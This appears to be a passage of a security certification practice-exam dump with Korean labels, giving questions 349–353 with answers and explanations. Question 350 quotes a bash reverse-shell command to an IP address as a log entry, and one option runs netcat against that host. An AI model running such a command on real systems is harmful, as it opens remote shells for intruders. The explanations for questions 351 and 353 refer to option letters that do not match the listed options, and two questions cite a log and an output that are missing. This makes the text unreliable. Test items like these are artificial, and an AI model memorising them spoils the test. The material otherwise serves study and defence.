질문 # 349
The analyst reviews the following endpoint log entry:

Which of the following has occurred?

A. Registry change
B. Privilege escalation
C. Rename computer
D. New account introduced

정답：D

설명：
The endpoint log entry shows that a new account named "admin" has been created on a Windows system with a local group membership of "Administrators". This indicates that a new account has been introduced on the system with administrative privileges. This could be a sign of malicious activity, such as privilege escalation or backdoor creation, by an attacker who has compromised the system.

질문 # 350
A security analyst identified the following suspicious entry on the host-based IDS logs:
bash -i >& /dev/tcp/10.1.2.3/8080 0>&1
Which of the following shell scripts should the analyst use to most accurately confirm if the activity is ongoing?

A. #!/bin/bash
netstat -antp | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"
B. #!/bin/bash
ls /opt/tcp/10.1.2.3/8080 >dev/null && echo "Malicious activity" || echo "OK"
C. #!/bin/bash
nc 10.1.2.3 8080 -vv >dev/null && echo "Malicious activity" || echo "OK"
D. #!/bin/bash
ps -fea | grep 8080 >dev/null && echo "Malicious activity" || echo "OK"

정답：A

질문 # 351
During a recent site survey. an analyst discovered a rogue wireless access point on the network. Which of the following actions should be taken first to protect the network while preserving evidence?

A. Run a packet sniffer to monitor traffic to and from the access point.
B. Identify who is connected to the access point and attempt to find the attacker.
C. Connect to the access point and examine its log files.
D. Disconnect the access point from the network

정답：D

설명：
The correct answer is D. Disconnect the access point from the network.
A rogue access point is a wireless access point that has been installed on a network without the authorization or knowledge of the network administrator. A rogue access point can pose a serious security risk, as it can allow unauthorized users to access the network, intercept network traffic, or launch attacks against the network or its devices1234.
The first action that should be taken to protect the network while preserving evidence is to disconnect the rogue access point from the network. This will prevent any further damage or compromise of the network by blocking the access point from communicating with other devices or users. Disconnecting the rogue access point will also preserve its state and configuration, which can be useful for forensic analysis and investigation.
Disconnecting the rogue access point can be done physically by unplugging it from the network port or wirelessly by disabling its radio frequency5.
The other options are not the best actions to take first, as they may not protect the network or preserve evidence effectively.
Option A is not the best action to take first, as running a packet sniffer to monitor traffic to and from the access point may not stop the rogue access point from causing harm to the network. A packet sniffer is a tool that captures and analyzes network packets, which are units of data that travel across a network. A packet sniffer can be useful for identifying and troubleshooting network problems, but it may not be able to prevent or block malicious traffic from a rogue access point. Moreover, running a packet sniffer may require additional time and resources, which could delay the response and mitigation of the incident5.
Option B is not the best action to take first, as connecting to the access point and examining its log files may not protect the network or preserve evidence. Connecting to the access point may expose the analyst's device or credentials to potential attacks or compromise by the rogue access point. Examining its log files may provide some information about the origin and activity of the rogue access point, but it may also alter or delete some evidence that could be useful for forensic analysis and investigation. Furthermore, connecting to the access point and examining its log files may not prevent or stop the rogue access point from continuing to harm the network5.
Option C is not the best action to take first, as identifying who is connected to the access point and attempting to find the attacker may not protect the network or preserve evidence. Identifying who is connected to the access point may require additional tools or techniques, such as scanning for wireless devices or analyzing network traffic, which could take time and resources away from responding and mitigating the incident.
Attempting to find the attacker may also be difficult or impossible, as the attacker may use various methods to hide their identity or location, such as encryption, spoofing, or proxy servers. Moreover, identifying who is connected to the access point and attempting to find the attacker may not prevent or stop the rogue access point from causing further damage or compromise to the network5.

질문 # 352
A technician is analyzing output from a popular network mapping tool for a PCI audit:

Which of the following best describes the output?

A. The Secure Shell port on this host is closed
B. The host is running excessive cipher suites.
C. The host is not up or responding.
D. The host is allowing insecure cipher suites.

정답：D

설명：
The output shows the result of running the ssl-enum-ciphers script with Nmap, which is a tool that can scan web servers for supported SSL/TLS cipher suites. Cipher suites are combinations of cryptographic algorithms that are used to establish secure communication between a client and a server. The output shows the cipher suites that are supported by the server, along with a letter grade (A through F) indicating the strength of the connection. The output also shows the least strength, which is the strength of the weakest cipher offered by the server. In this case, the least strength is F, which means that the server is allowing insecure cipher suites that are vulnerable to attacks or have been deprecated. For example, the output shows that the server supports SSLv3, which is an outdated and insecure protocol that is susceptible to the POODLE attack. The output also shows that the server supports RC4, which is a weak and broken stream cipher that should not be used.
Therefore, the best description of the output is that the host is allowing insecure cipher suites. The other descriptions are not accurate, as they do not reflect what the output shows. The host is not up or responding is incorrect, as the output clearly shows that the host is up and responding to the scan. The host is running excessive cipher suites is incorrect, as the output does not indicate how many cipher suites the host is running, only which ones it supports. The Secure Shell port on this host is closed is incorrect, as the output does not show anything about port 22, which is the default port for Secure Shell (SSH). The output only shows information about port 443, which is the default port for HTTPS.

질문 # 353
An analyst wants to detect outdated software packages on a server. Which of the following methodologies will achieve this objective?

A. Configuration management
B. Common vulnerabilities and exposures
C. Data loss prevention
D. Credentialed scanning

정답：D

설명：
Comprehensive and Detailed Explanation From Exact Extract:
To detect outdated software packages (installed software versions, patch levels, missing updates) on a server, the most effective methodology is credentialed scanning, because it allows the scanner to log in and inspect the system "from the inside," including installed versions and patch status.
Exact extract (Sybex CySA+ Study Guide):
"Administrators can provide the scanner with credentials that allow the scanner to connect to the target server and retrieve configuration information... For example, if a vulnerability scan detects a potential issue that can be corrected by an operating system update, the credentialed scan can check whether the update is installed on the system before reporting a vulnerability." Exact extract (Secbay Press):
"With privileged credentials... the vulnerability report will be able to identify settings like these: Installed software version... Patch levels ..." Why the other options are not correct:
A (DLP) is for preventing sensitive data leakage, not detecting outdated packages.
B (Configuration management) helps maintain desired state, but the question asks specifically for a methodology to detect outdated packages-credentialed scans directly enumerate versions/patch levels.
C (CVE) is a naming/cataloging system for known vulnerabilities; it doesn't, by itself, detect what's installed on your server.
